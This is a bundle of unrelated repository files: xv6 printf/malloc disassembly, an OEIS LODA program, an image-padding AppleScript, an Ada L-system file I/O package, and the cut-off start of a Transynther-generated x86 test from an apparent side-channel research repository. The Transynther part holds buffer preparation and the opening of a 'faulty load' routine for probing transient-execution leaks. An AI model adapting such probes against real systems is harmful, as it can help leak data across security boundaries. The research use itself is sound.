buf[i++] = digits[x % base];
54a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
54d: 75 e9 jne 538 <printint+0x38>
if(neg)
54f: 8b 45 c4 mov -0x3c(%ebp),%eax
552: 8b 75 c0 mov -0x40(%ebp),%esi
555: 85 c0 test %eax,%eax
557: 74 08 je 561 <printint+0x61>
buf[i++] = '-';
559: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
55e: 8d 4f 02 lea 0x2(%edi),%ecx
561: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
565: 8d 76 00 lea 0x0(%esi),%esi
568: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
56b: 83 ec 04 sub $0x4,%esp
56e: 83 ef 01 sub $0x1,%edi
571: 6a 01 push $0x1
573: 53 push %ebx
574: 56 push %esi
575: 88 45 d7 mov %al,-0x29(%ebp)
578: e8 c5 fe ff ff call 442 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
57d: 83 c4 10 add $0x10,%esp
580: 39 df cmp %ebx,%edi
582: 75 e4 jne 568 <printint+0x68>
putc(fd, buf[i]);
}
584: 8d 65 f4 lea -0xc(%ebp),%esp
587: 5b pop %ebx
588: 5e pop %esi
589: 5f pop %edi
58a: 5d pop %ebp
58b: c3 ret
58c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
590: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
592: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
599: eb 8b jmp 526 <printint+0x26>
59b: 90 nop
59c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000005a0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
5a0: 55 push %ebp
5a1: 89 e5 mov %esp,%ebp
5a3: 57 push %edi
5a4: 56 push %esi
5a5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5a6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
5a9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5ac: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
5af: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5b2: 89 45 d0 mov %eax,-0x30(%ebp)
5b5: 0f b6 1e movzbl (%esi),%ebx
5b8: 83 c6 01 add $0x1,%esi
5bb: 84 db test %bl,%bl
5bd: 0f 84 b0 00 00 00 je 673 <printf+0xd3>
5c3: 31 d2 xor %edx,%edx
5c5: eb 39 jmp 600 <printf+0x60>
5c7: 89 f6 mov %esi,%esi
5c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
5d0: 83 f8 25 cmp $0x25,%eax
5d3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
5d6: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
5db: 74 18 je 5f5 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5dd: 8d 45 e2 lea -0x1e(%ebp),%eax
5e0: 83 ec 04 sub $0x4,%esp
5e3: 88 5d e2 mov %bl,-0x1e(%ebp)
5e6: 6a 01 push $0x1
5e8: 50 push %eax
5e9: 57 push %edi
5ea: e8 53 fe ff ff call 442 <write>
5ef: 8b 55 d4 mov -0x2c(%ebp),%edx
5f2: 83 c4 10 add $0x10,%esp
5f5: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5f8: 0f b6 5e ff movzbl -0x1(%esi),%ebx
5fc: 84 db test %bl,%bl
5fe: 74 73 je 673 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
600: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
602: 0f be cb movsbl %bl,%ecx
605: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
608: 74 c6 je 5d0 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
60a: 83 fa 25 cmp $0x25,%edx
60d: 75 e6 jne 5f5 <printf+0x55>
if(c == 'd'){
60f: 83 f8 64 cmp $0x64,%eax
612: 0f 84 f8 00 00 00 je 710 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
618: 81 e1 f7 00 00 00 and $0xf7,%ecx
61e: 83 f9 70 cmp $0x70,%ecx
621: 74 5d je 680 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
623: 83 f8 73 cmp $0x73,%eax
626: 0f 84 84 00 00 00 je 6b0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
62c: 83 f8 63 cmp $0x63,%eax
62f: 0f 84 ea 00 00 00 je 71f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
635: 83 f8 25 cmp $0x25,%eax
638: 0f 84 c2 00 00 00 je 700 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
63e: 8d 45 e7 lea -0x19(%ebp),%eax
641: 83 ec 04 sub $0x4,%esp
644: c6 45 e7 25 movb $0x25,-0x19(%ebp)
648: 6a 01 push $0x1
64a: 50 push %eax
64b: 57 push %edi
64c: e8 f1 fd ff ff call 442 <write>
651: 83 c4 0c add $0xc,%esp
654: 8d 45 e6 lea -0x1a(%ebp),%eax
657: 88 5d e6 mov %bl,-0x1a(%ebp)
65a: 6a 01 push $0x1
65c: 50 push %eax
65d: 57 push %edi
65e: 83 c6 01 add $0x1,%esi
661: e8 dc fd ff ff call 442 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
666: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
66a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
66d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
66f: 84 db test %bl,%bl
671: 75 8d jne 600 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
673: 8d 65 f4 lea -0xc(%ebp),%esp
676: 5b pop %ebx
677: 5e pop %esi
678: 5f pop %edi
679: 5d pop %ebp
67a: c3 ret
67b: 90 nop
67c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
680: 83 ec 0c sub $0xc,%esp
683: b9 10 00 00 00 mov $0x10,%ecx
688: 6a 00 push $0x0
68a: 8b 5d d0 mov -0x30(%ebp),%ebx
68d: 89 f8 mov %edi,%eax
68f: 8b 13 mov (%ebx),%edx
691: e8 6a fe ff ff call 500 <printint>
ap++;
696: 89 d8 mov %ebx,%eax
698: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
69b: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
69d: 83 c0 04 add $0x4,%eax
6a0: 89 45 d0 mov %eax,-0x30(%ebp)
6a3: e9 4d ff ff ff jmp 5f5 <printf+0x55>
6a8: 90 nop
6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
6b0: 8b 45 d0 mov -0x30(%ebp),%eax
6b3: 8b 18 mov (%eax),%ebx
ap++;
6b5: 83 c0 04 add $0x4,%eax
6b8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
6bb: b8 74 09 00 00 mov $0x974,%eax
6c0: 85 db test %ebx,%ebx
6c2: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
6c5: 0f b6 03 movzbl (%ebx),%eax
6c8: 84 c0 test %al,%al
6ca: 74 23 je 6ef <printf+0x14f>
6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6d0: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6d3: 8d 45 e3 lea -0x1d(%ebp),%eax
6d6: 83 ec 04 sub $0x4,%esp
6d9: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
6db: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6de: 50 push %eax
6df: 57 push %edi
6e0: e8 5d fd ff ff call 442 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
6e5: 0f b6 03 movzbl (%ebx),%eax
6e8: 83 c4 10 add $0x10,%esp
6eb: 84 c0 test %al,%al
6ed: 75 e1 jne 6d0 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
6ef: 31 d2 xor %edx,%edx
6f1: e9 ff fe ff ff jmp 5f5 <printf+0x55>
6f6: 8d 76 00 lea 0x0(%esi),%esi
6f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
700: 83 ec 04 sub $0x4,%esp
703: 88 5d e5 mov %bl,-0x1b(%ebp)
706: 8d 45 e5 lea -0x1b(%ebp),%eax
709: 6a 01 push $0x1
70b: e9 4c ff ff ff jmp 65c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
710: 83 ec 0c sub $0xc,%esp
713: b9 0a 00 00 00 mov $0xa,%ecx
718: 6a 01 push $0x1
71a: e9 6b ff ff ff jmp 68a <printf+0xea>
71f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
722: 83 ec 04 sub $0x4,%esp
725: 8b 03 mov (%ebx),%eax
727: 6a 01 push $0x1
729: 88 45 e4 mov %al,-0x1c(%ebp)
72c: 8d 45 e4 lea -0x1c(%ebp),%eax
72f: 50 push %eax
730: 57 push %edi
731: e8 0c fd ff ff call 442 <write>
736: e9 5b ff ff ff jmp 696 <printf+0xf6>
73b: 66 90 xchg %ax,%ax
73d: 66 90 xchg %ax,%ax
73f: 90 nop
00000740 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
740: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
741: a1 1c 0c 00 00 mov 0xc1c,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
746: 89 e5 mov %esp,%ebp
748: 57 push %edi
749: 56 push %esi
74a: 53 push %ebx
74b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
74e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
750: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
753: 39 c8 cmp %ecx,%eax
755: 73 19 jae 770 <free+0x30>
757: 89 f6 mov %esi,%esi
759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
760: 39 d1 cmp %edx,%ecx
762: 72 1c jb 780 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
764: 39 d0 cmp %edx,%eax
766: 73 18 jae 780 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
768: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
76a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
76c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
76e: 72 f0 jb 760 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
770: 39 d0 cmp %edx,%eax
772: 72 f4 jb 768 <free+0x28>
774: 39 d1 cmp %edx,%ecx
776: 73 f0 jae 768 <free+0x28>
778: 90 nop
779: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
780: 8b 73 fc mov -0x4(%ebx),%esi
783: 8d 3c f1 lea (%ecx,%esi,8),%edi
786: 39 d7 cmp %edx,%edi
788: 74 19 je 7a3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
78a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
78d: 8b 50 04 mov 0x4(%eax),%edx
790: 8d 34 d0 lea (%eax,%edx,8),%esi
793: 39 f1 cmp %esi,%ecx
795: 74 23 je 7ba <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
797: 89 08 mov %ecx,(%eax)
freep = p;
799: a3 1c 0c 00 00 mov %eax,0xc1c
}
79e: 5b pop %ebx
79f: 5e pop %esi
7a0: 5f pop %edi
7a1: 5d pop %ebp
7a2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
7a3: 03 72 04 add 0x4(%edx),%esi
7a6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
7a9: 8b 10 mov (%eax),%edx
7ab: 8b 12 mov (%edx),%edx
7ad: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
7b0: 8b 50 04 mov 0x4(%eax),%edx
7b3: 8d 34 d0 lea (%eax,%edx,8),%esi
7b6: 39 f1 cmp %esi,%ecx
7b8: 75 dd jne 797 <free+0x57>
p->s.size += bp->s.size;
7ba: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
7bd: a3 1c 0c 00 00 mov %eax,0xc1c
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
7c2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
7c5: 8b 53 f8 mov -0x8(%ebx),%edx
7c8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
7ca: 5b pop %ebx
7cb: 5e pop %esi
7cc: 5f pop %edi
7cd: 5d pop %ebp
7ce: c3 ret
7cf: 90 nop
000007d0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7d0: 55 push %ebp
7d1: 89 e5 mov %esp,%ebp
7d3: 57 push %edi
7d4: 56 push %esi
7d5: 53 push %ebx
7d6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7d9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
7dc: 8b 15 1c 0c 00 00 mov 0xc1c,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7e2: 8d 78 07 lea 0x7(%eax),%edi
7e5: c1 ef 03 shr $0x3,%edi
7e8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
7eb: 85 d2 test %edx,%edx
7ed: 0f 84 a3 00 00 00 je 896 <malloc+0xc6>
7f3: 8b 02 mov (%edx),%eax
7f5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
7f8: 39 cf cmp %ecx,%edi
7fa: 76 74 jbe 870 <malloc+0xa0>
7fc: 81 ff 00 10 00 00 cmp $0x1000,%edi
802: be 00 10 00 00 mov $0x1000,%esi
807: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
80e: 0f 43 f7 cmovae %edi,%esi
811: ba 00 80 00 00 mov $0x8000,%edx
816: 81 ff ff 0f 00 00 cmp $0xfff,%edi
81c: 0f 46 da cmovbe %edx,%ebx
81f: eb 10 jmp 831 <malloc+0x61>
821: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
828: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
82a: 8b 48 04 mov 0x4(%eax),%ecx
82d: 39 cf cmp %ecx,%edi
82f: 76 3f jbe 870 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
831: 39 05 1c 0c 00 00 cmp %eax,0xc1c
837: 89 c2 mov %eax,%edx
839: 75 ed jne 828 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
83b: 83 ec 0c sub $0xc,%esp
83e: 53 push %ebx
83f: e8 66 fc ff ff call 4aa <sbrk>
if(p == (char*)-1)
844: 83 c4 10 add $0x10,%esp
847: 83 f8 ff cmp $0xffffffff,%eax
84a: 74 1c je 868 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
84c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
84f: 83 ec 0c sub $0xc,%esp
852: 83 c0 08 add $0x8,%eax
855: 50 push %eax
856: e8 e5 fe ff ff call 740 <free>
return freep;
85b: 8b 15 1c 0c 00 00 mov 0xc1c,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
861: 83 c4 10 add $0x10,%esp
864: 85 d2 test %edx,%edx
866: 75 c0 jne 828 <malloc+0x58>
return 0;
868: 31 c0 xor %eax,%eax
86a: eb 1c jmp 888 <malloc+0xb8>
86c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
870: 39 cf cmp %ecx,%edi
872: 74 1c je 890 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
874: 29 f9 sub %edi,%ecx
876: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
879: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
87c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
87f: 89 15 1c 0c 00 00 mov %edx,0xc1c
return (void*)(p + 1);
885: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
888: 8d 65 f4 lea -0xc(%ebp),%esp
88b: 5b pop %ebx
88c: 5e pop %esi
88d: 5f pop %edi
88e: 5d pop %ebp
88f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
890: 8b 08 mov (%eax),%ecx
892: 89 0a mov %ecx,(%edx)
894: eb e9 jmp 87f <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
896: c7 05 1c 0c 00 00 20 movl $0xc20,0xc1c
89d: 0c 00 00
8a0: c7 05 20 0c 00 00 20 movl $0xc20,0xc20
8a7: 0c 00 00
base.s.size = 0;
8aa: b8 20 0c 00 00 mov $0xc20,%eax
8af: c7 05 24 0c 00 00 00 movl $0x0,0xc24
8b6: 00 00 00
8b9: e9 3e ff ff ff jmp 7fc <malloc+0x2c>
|
oeis/010/A010545.asm | neoneye/loda-programs | 11 | 240155 | ; A010545: Decimal expansion of square root of 94.
; 9,6,9,5,3,5,9,7,1,4,8,3,2,6,5,8,0,2,8,1,4,8,8,8,1,1,5,0,8,4,5,3,1,3,3,9,3,6,5,2,1,5,0,9,8,7,9,5,4,6,7,9,5,9,0,5,3,9,7,1,7,4,8,6,2,3,3,0,3,9,8,6,7,5,7,3,3,0,0,7,2,8,4,8,3,2,5,8,6,7,8,4,7,6,9,1,7,4,9,6
mov $1,1
mov $2,1
mov $3,$0
add $3,8
mov $4,$0
add $4,3
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,94
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
div $1,$2
mod $1,$9
mov $0,$1
|
Image Processing Scripts/Pad/Padding Images.applescript | bbelyeu/applescripts | 12 | 3527 | <filename>Image Processing Scripts/Pad/Padding Images.applescript
(* Padding an image will add black space around the image to the dimensions indicated in the script command. The pad command takes a list of two integers for the to dimensions parameter: the new width (in pixels) for the image, and the new height for the image *)
set this_file to choose file without invisibles
try
tell application "Image Events"
launch
-- open the image file
set this_image to open this_file
-- perform action
pad this_image to dimensions {640, 480}
-- save the changes
save this_image with icon
-- purge the open image data
close this_image
end tell
on error error_message
display dialog error_message
end try |
src/model/io/lse-model-io-text_file.adb | mgrojo/lsystem-editor | 2 | 26527 | <filename>src/model/io/lse-model-io-text_file.adb
-------------------------------------------------------------------------------
-- LSE -- L-System Editor
-- Author: Heziode
--
-- License:
-- MIT License
--
-- Copyright (c) 2018 <NAME> (Heziode) <<EMAIL>>
--
-- Permission is hereby granted, free of charge, to any person obtaining a
-- copy of this software and associated documentation files (the "Software"),
-- to deal in the Software without restriction, including without limitation
-- the rights to use, copy, modify, merge, publish, distribute, sublicense,
-- and/or sell copies of the Software, and to permit persons to whom the
-- Software is furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-- DEALINGS IN THE SOFTWARE.
-------------------------------------------------------------------------------
with Ada.Characters.Latin_1;
with Ada.Directories;
package body LSE.Model.IO.Text_File is
package L renames Ada.Characters.Latin_1;
procedure Open_File (File : in out File_Type;
Mode : File_Mode;
Path : String;
Auto : Boolean := True)
is
use Ada.Directories;
-- The parameter "wcem=8" indicates that we want to open a file in
-- UTF-8 format (which can therefore contain accents)
FILE_FORM : constant String := "wcem=8";
begin
if Exists (Path) then
Open (File, Mode, Path, FILE_FORM);
else
if Auto then
Create (File, Mode, Path, FILE_FORM);
else
raise Ada.Directories.Name_Error;
end if;
end if;
end Open_File;
procedure Close_File (File : in out File_Type)
is
begin
Close (File);
end Close_File;
procedure Read (File : File_Type;
Result : out Unbounded_String)
is
begin
Result := To_Unbounded_String ("");
loop
exit when End_Of_File (File);
if End_Of_Line (File) then
Skip_Line (File);
elsif End_Of_Page (File) then
Skip_Page (File);
else
Result := Result & To_Unbounded_String (Get_Line (File)) & L.LF;
end if;
end loop;
end Read;
procedure Write (File : in out File_Type;
Item : String)
is
begin
Put_Line (File, Item);
end Write;
function Read_LSystem (File : File_Type;
Builder : in out
LSE.Model.L_System.Concrete_Builder.Instance;
Turtle : LSE.Model.IO.Turtle_Utils.Holder;
LS : in out
LSE.Model.L_System.L_System.Instance)
return Boolean
is
Item : Unbounded_String;
begin
Read (File, Item);
if Builder.Make (To_String (Item)) then
LS := Builder.Get_Product (Turtle);
return True;
else
return False;
end if;
end Read_LSystem;
procedure Write_LSystem (File : in out File_Type;
LS : LSE.Model.L_System.L_System.Instance)
is
begin
Put_Line (File, LS.Get_LSystem);
end Write_LSystem;
procedure Save_To_File (File_Path : String; Content : String)
is
File : File_Type;
begin
Open_File (File, Out_File, File_Path);
Write (File, Content);
Close_File (File);
end Save_To_File;
function Read_From_File (File_Path : String) return String
is
File : File_Type;
Item : Unbounded_String;
begin
Open_File (File, In_File, File_Path);
Read (File, Item);
Close_File (File);
return To_String (Item);
end Read_From_File;
end LSE.Model.IO.Text_File;
|
oeis/055/A055670.asm | neoneye/loda-programs | 11 | 245605 | ; A055670: a(n) = prime(n) - (-1)^prime(n).
; Submitted by <NAME>
; 1,4,6,8,12,14,18,20,24,30,32,38,42,44,48,54,60,62,68,72,74,80,84,90,98,102,104,108,110,114,128,132,138,140,150,152,158,164,168,174,180,182,192,194,198,200,212,224,228,230,234,240,242,252,258,264,270,272,278,282,284,294,308,312,314,318,332,338,348,350,354,360,368,374,380,384,390,398,402,410,420,422,432,434,440,444,450,458,462,464,468,480,488,492,500,504,510,522,524,542
seq $0,6005 ; The odd prime numbers together with 1.
mov $2,1
mod $2,$0
add $0,$2
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca.log_21829_796.asm | ljhsiun2/medusa | 9 | 98028 | <filename>Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca.log_21829_796.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1e694, %rcx
clflush (%rcx)
add $63537, %r11
movl $0x61626364, (%rcx)
sub %r14, %r14
lea addresses_D_ht+0x10e14, %r9
add %rdx, %rdx
movb (%r9), %r11b
nop
nop
nop
dec %r14
lea addresses_normal_ht+0x105c4, %rcx
clflush (%rcx)
nop
nop
nop
add $17594, %rdi
mov (%rcx), %eax
nop
nop
xor $4538, %rax
lea addresses_normal_ht+0x10e14, %rsi
lea addresses_WT_ht+0x4f14, %rdi
cmp $2865, %r14
mov $73, %rcx
rep movsb
nop
nop
sub $40721, %rdi
lea addresses_WT_ht+0x1e714, %r11
nop
cmp %r9, %r9
and $0xffffffffffffffc0, %r11
vmovntdqa (%r11), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdx
nop
xor %rcx, %rcx
lea addresses_WC_ht+0x8410, %r9
nop
nop
nop
nop
and $2270, %r14
mov (%r9), %edi
xor %rax, %rax
lea addresses_WC_ht+0x28dc, %rax
nop
nop
cmp %r14, %r14
mov (%rax), %edx
inc %r9
lea addresses_WT_ht+0x2c47, %rsi
lea addresses_WT_ht+0x15b94, %rdi
nop
nop
add %r14, %r14
mov $38, %rcx
rep movsq
nop
and $6695, %r11
lea addresses_normal_ht+0x17194, %rsi
nop
nop
and %rcx, %rcx
mov (%rsi), %ax
nop
nop
nop
nop
nop
sub $36736, %r14
lea addresses_UC_ht+0x9ec, %rsi
lea addresses_normal_ht+0x10654, %rdi
cmp $17147, %r11
mov $127, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %r14, %r14
lea addresses_WT_ht+0x1e814, %rsi
lea addresses_D_ht+0x11cc, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $12, %rcx
rep movsl
nop
nop
sub $36320, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rbp
push %rdx
push %rsi
// Store
lea addresses_UC+0x4914, %r12
nop
nop
